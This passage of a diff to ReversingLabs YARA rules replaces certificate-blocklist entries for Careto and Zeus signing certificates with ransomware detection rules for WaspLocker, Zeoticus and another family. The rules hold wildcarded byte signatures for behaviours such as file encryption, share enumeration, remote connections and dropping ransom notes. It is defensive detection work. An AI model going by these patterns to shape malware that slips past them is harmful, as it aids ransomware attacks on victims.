C0 ?? 83 C1 ?? 66 + 85 D2 75 ?? 8B C6 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B + 95 ?? ?? ?? ?? 0F B7 01 66 89 04 0A 8D 49 ?? 66 85 C0 75 ?? 8D BD ?? ?? ?? ?? 83 EF + ?? 33 C9 66 8B 47 ?? 8D 7F ?? 66 3B C1 75 ?? A1 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 89 07 + 8B F2 66 8B 02 83 C2 ?? 66 3B C1 75 ?? 8D BD ?? ?? ?? ?? 2B D6 83 EF ?? 66 8B 47 ?? + 83 C7 ?? 66 3B C1 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F6 85 ?? ?? ?? ?? ?? F3 + A4 74 ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? F7 85 ?? ?? ?? ?? + ?? ?? ?? ?? 75 ?? 8B 8D ?? ?? ?? ?? 66 8B 85 ?? ?? ?? ?? 66 89 04 59 43 89 1D ?? ?? + ?? ?? 33 F6 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 + ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_special_folders = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 BE ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 56 33 DB 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 56 53 50 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 56 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? + ?? ?? BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A ?? 59 68 ?? ?? ?? ?? 53 F3 A5 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8D BD ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 59 F3 A5 68 + ?? ?? ?? ?? 53 50 66 A5 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D + BD ?? ?? ?? ?? 6A ?? 59 68 ?? ?? ?? ?? 53 F3 A5 50 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 83 C4 ?? 53 6A ?? 50 53 FF D6 53 6A ?? 8D 85 ?? ?? ?? ?? 50 53 FF + D6 53 6A ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 8D BD ?? ?? ?? ?? 83 EF ?? 66 8B 47 ?? 83 + C7 ?? 66 3B C3 75 ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? 83 EF ?? 66 8B + 47 ?? 83 C7 ?? 66 3B C3 75 ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? 83 EF + ?? 66 8B 47 ?? 83 C7 ?? 66 3B C3 75 ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? A5 A5 A5 A5 + 66 A5 E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $remote_connection = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 89 85 ?? + ?? ?? ?? 33 DB 8B 45 ?? 8B FA 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 + 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? A0 ?? ?? ?? ?? 88 45 ?? 8D 85 ?? + ?? ?? ?? 53 53 53 53 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? + 85 DB 74 ?? 33 C0 50 50 6A ?? 50 50 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 8B F8 85 + FF 74 ?? 33 C0 50 68 ?? ?? ?? ?? 50 50 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 50 + 57 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8B 95 ?? ?? ?? ?? 33 C9 85 D2 74 ?? 8B CA 8D + 41 ?? 89 85 ?? ?? ?? ?? 8A 01 41 84 C0 75 ?? 2B 8D ?? ?? ?? ?? 51 52 6A ?? 6A ?? 53 + FF 15 ?? ?? ?? ?? 53 FF D6 8B 9D ?? ?? ?? ?? 57 FF D6 53 FF D6 8B 4D ?? 5F 5E 33 CD + 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_1 = { + 55 8B EC 51 51 83 4D ?? ?? 83 4D ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 + ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? 6A ?? 58 EB ?? 56 8D 45 ?? 50 + 57 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? 6A ?? EB ?? 8B 75 ?? 3B C6 0F 42 F0 83 7D + ?? ?? 74 ?? 6A ?? 8D 45 ?? 50 56 FF 75 ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 5E + 57 FF 15 ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? 3B 75 ?? 6A ?? 58 0F 45 F0 8B C6 EB + ?? 57 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5E 5F 8B E5 5D C2 + } + $encrypt_files_2_p1 = { + 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? 50 89 85 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 59 33 C0 8D 7D ?? + F3 AB 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85 C0 74 ?? FF 15 ?? ?? ?? ?? 50 + 68 ?? ?? ?? ?? 83 CE ?? EB ?? 6A ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85 + C0 74 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 5E 6A ?? 8B D6 59 E8 ?? ?? ?? ?? + 59 59 E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 75 ?? 6A ?? 5E E9 ?? ?? ?? ?? 80 BD ?? + ?? ?? ?? ?? B8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? 3B F0 0F 47 F0 8D 85 ?? ?? ?? ?? 50 + 56 8B C8 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 8B F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8 ?? ?? ?? + ?? 59 59 BE ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? + FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 5A 6A ?? 59 E8 ?? ?? ?? ?? 59 59 6A ?? E9 + ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 8D 55 ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C7 8B DF 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 74 ?? 8B + } + $encrypt_files_2_p2 = { + B5 ?? ?? ?? ?? 43 46 8B C3 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 75 ?? 89 B5 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 53 8B C8 E8 ?? ?? ?? ?? 33 D2 85 FF 7E ?? 8B 85 ?? ?? ?? ?? + 8A 0C 10 8B 85 ?? ?? ?? ?? 88 0C 10 42 3B D7 7C ?? 3B FB 7D ?? 8B C3 2B C7 50 8B 85 + ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 03 C7 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 + 53 8B C8 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B + 95 ?? ?? ?? ?? 8D 45 ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 + ?? 6A ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 59 59 85 C0 75 ?? 6A ?? 33 FF 5A 8B 85 ?? ?? ?? ?? 8A 4C 3D ?? 88 0C 38 + 47 3B FA 7C ?? 8D 75 ?? 6A ?? 2B F2 5F 8B 85 ?? ?? ?? ?? 8A 0C 32 88 0C 10 42 3B D7 + 7C ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 83 EC ?? 8D + 85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + } + $encrypt_files_2_p3 = { + 85 C0 79 ?? 6A ?? E9 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 2B F7 8B 85 ?? ?? + ?? ?? 8A 0C 37 88 0C 38 47 3B FA 7C ?? 8B B5 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8A 8C 02 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 88 0C 10 42 81 FA ?? ?? ?? ?? 7C ?? 83 BD ?? ?? ?? ?? ?? + 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 75 ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B C6 E9 ?? ?? ?? ?? 51 6A ?? 53 FF B5 ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? 8B F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8 + ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 87 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B + F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8 ?? ?? ?? ?? 59 + 59 EB ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 01 34 85 + ?? ?? ?? ?? FF 04 85 ?? ?? ?? ?? 33 FF 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B C7 E8 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TecSystem Ltd." and pe.signatures [ i ] . serial == "0e:80:8f:23:15:15:bc:51:9e:ea:1a:73:cd:f3:26:6f" and 1468799999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $find_special_folders ) and ( $encrypt_files_1 ) and ( all of ( $encrypt_files_2_p* ) ) and ( $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_36Be4Ad457F062Fa77D87595B8Ccc8Cf : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Wasplocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing Careto malware." + description = "Yara rule that detects WaspLocker ransomware." author = "ReversingLabs" - id = "224ec8ed-e4f0-5d1b-8cdd-a669a7e3e859" - date = "2020-08-05" - modified = "2023-11-08" + id = "596bf965-700a-58f5-b0e5-61ec57c23a3e" + date = "2022-06-28" + modified = "2022-06-28" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L153-L169" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.WaspLocker.yara#L1-L76" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d19a6f22a1e702a4da69c867195722adf8f1dd84539f2c584af428fe4b1caf79" + logic_hash = "852ec52328fca36d651e3176ac33a57ce26cefecadc2aad27235548e5b9813c1" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "WaspLocker" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 50 50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? 51 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0 + 75 ?? 57 53 E8 ?? ?? ?? ?? 8D 4E ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + A8 ?? 75 ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 3B 85 ?? ?? ?? ?? 76 ?? 8D 85 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 59 03 C2 B9 ?? ?? ?? ?? 3B C1 + 7D ?? 8D 85 ?? ?? ?? ?? 2B CA 50 51 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 + 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? EB ?? 85 DB 0F 84 + ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 85 FF 75 ?? 33 C0 EB ?? 57 E8 ?? ?? ?? ?? 59 50 57 + 8D 4B ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 4E ?? E8 ?? ?? ?? ?? 33 C0 40 E8 ?? ?? ?? + ?? C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 + F6 89 75 ?? 33 FF 89 7D ?? 21 75 ?? 21 75 ?? 39 3D ?? ?? ?? ?? 75 ?? 8D 45 ?? 50 E8 + ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 74 ?? FF 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B F0 89 75 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? C2 + } + $drop_aux_files = { + A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 6A ?? 66 89 41 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 56 6A ?? FF 15 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 85 C0 74 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF 15 + ?? ?? ?? ?? 8B F8 85 FF 74 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B + F0 83 C4 ?? 85 F6 74 ?? 56 FF B5 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 6A ?? 6A ?? 56 + E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 + ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? + ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? + ?? ?? 56 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 6A ?? 56 FF 15 ?? ?? + ?? ?? 50 89 85 ?? ?? ?? ?? E8 + } + $drop_ransom_notes = { + 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 + 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 + ?? ?? ?? ?? 8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83 C0 ?? 89 85 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83 C0 ?? 89 85 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? B9 ?? ?? ?? ?? 8D + 51 ?? 90 8A 01 41 84 C0 75 ?? 2B CA 51 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83 + C0 ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 84 C0 75 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TecSystem Ltd." and pe.signatures [ i ] . serial == "36:be:4a:d4:57:f0:62:fa:77:d8:75:95:b8:cc:c8:cf" and 1372377599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $drop_aux_files ) and ( $drop_ransom_notes ) } - -rule REVERSINGLABS_Cert_Blocklist_75A38507Bf403B152125B8F5Ce1B97Ad : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Zeoticus : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing Zeus malware." + description = "Yara rule that detects Zeoticus ransomware." author = "ReversingLabs" - id = "6805abd8-217e-5179-ab5a-297e2a17e65e" - date = "2020-08-05" - modified = "2023-11-08" + id = "483b20a4-2c16-5509-a503-2462a53d4d31" + date = "2021-03-19" + modified = "2021-03-19" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L171-L187" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Zeoticus.yara#L1-L90" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "af21cee3ee92268c3aa0106a245e5a00c5ba892fca3e4fd2dc55e302ed5d470a" + logic_hash = "adf42b96139ad98f4253f3eba2c4af1be9545825605e0851185cc15284d9e9a0" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Zeoticus" + tc_detection_factor = 5 importance = 25 + strings: + $enum_shares_p1 = { + 53 55 8B 2D ?? ?? ?? ?? 8B C1 56 57 8B 3D ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 4C 24 ?? 51 + 8D 4C 24 ?? 51 6A ?? 8D 4C 24 ?? 51 6A ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 85 C0 74 + ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 5C 24 ?? 89 5C 24 ?? C7 44 24 + ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 33 F6 39 73 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? + 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 + 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? FF 33 8D 44 24 + ?? FF 74 24 ?? 68 ?? ?? ?? ?? 50 FF D7 A1 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 89 04 8D ?? ?? ?? ?? 8D 4C 24 ?? 51 + } + $enum_shares_p2 = { + 50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D 04 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 56 FF 34 + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 56 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ?? + ?? ?? ?? 41 FF 05 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 FF 85 C0 7E ?? 8D + 5F ?? 8D 44 24 ?? 50 FF 34 BD ?? ?? ?? ?? FF D5 85 C0 0F 44 F3 47 3B 3D ?? ?? ?? ?? + 7C ?? 8B 5C 24 ?? 85 F6 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? + ?? ?? 8B 3D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 50 FF D7 + A1 ?? ?? ?? ?? 83 C4 ?? 8D 04 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 6A ?? FF 34 85 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ?? ?? + ?? ?? 41 FF 05 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 74 24 ?? 83 + C3 ?? 46 89 5C 24 ?? 89 74 24 ?? 3B 74 24 ?? 0F 82 ?? ?? ?? ?? 8B 5C 24 ?? 53 FF 15 + ?? ?? ?? ?? 81 7C 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 + ?? ?? ?? ?? C3 + } + $encrypt_files = { + 68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ?? + ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ?? + 83 C4 ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D7 83 + C4 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D + 04 45 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? + FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 83 FB ?? 75 ?? E8 ?? ?? ?? ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? EB ?? 83 FB ?? 75 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? + 56 6A ?? FF 35 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 E8 ?? + ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? + ?? 83 C4 ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 + } + $find_files = { + 81 EC ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 